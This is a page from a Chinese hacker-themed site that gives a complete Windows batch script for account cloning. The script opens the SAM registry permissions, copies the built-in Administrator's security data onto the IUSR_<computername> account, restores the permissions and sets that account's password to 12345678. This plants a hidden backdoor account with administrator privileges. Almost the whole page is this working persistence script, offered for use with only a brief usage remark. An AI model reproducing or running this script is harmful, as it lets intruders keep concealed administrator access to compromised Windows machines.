复制代码 代码如下:

echo off

setlocal enabledelayedexpansion

echo %computername%

echo HKEY_LOCAL_MachiNE\SAM\SAM [1 17] >”%windir%\..\1.reg”

regini “%windir%\..\1.reg”

regedit /e “%windir%\..\1.reg” HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\IUSR_%computername%

rem unicode ->ascii

type “%windir%\..\1.reg” >”%windir%\..\2.reg”

del /q “%windir%\..\1.reg”

rem find IUSR_%computername% 的对应id

for /F “delims=( tokens=1-5* skip=3” %%a in (%windir%\..\2.reg) do set iusr_id=%%b

del /q “%windir%\..\2.reg”

rem export administrator register

regedit /e “%windir%\..\1.reg” HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4

type “%windir%\..\1.reg” >”%windir%\..\2.reg”

del /q “%windir%\..\1.reg”

rem replace 1fx->iusr_id

for /f “tokens=* delims=:” %%i in (%windir%\..\2.reg) do (

for /f “tokens=*” %%j in (“%%i”) do (

set TMP=%%j

set “TMP=!TMP:000001F4=00000%iusr_id:~0,3%!”

echo !TMP!>>%windir%\..\1.reg

)

)

regedit /s %windir%\..\1.reg

del /q %windir%\..\1.reg

del /q %windir%\..\2.reg

echo HKEY_LOCAL_MACHINE\SAM\SAM [17] >”%windir%\..\1.reg”

regini “%windir%\..\1.reg”

del /q “%windir%\..\1.reg”

net user IUSR_%computername% 12345678

克隆出来的用户名是固定的,随便变换的话要改代码

声明：本站（华域联盟www.cnhackhy.com）所有文章，如无特殊说明或标注，均为本站原创发布。任何个人或组织，在未征得本站同意时，禁止复制、盗用、采集、发布本站内容到任何网站、书籍等各类媒体平台。如若本站内容侵犯了原著者的合法权益，可联系我们进行处理。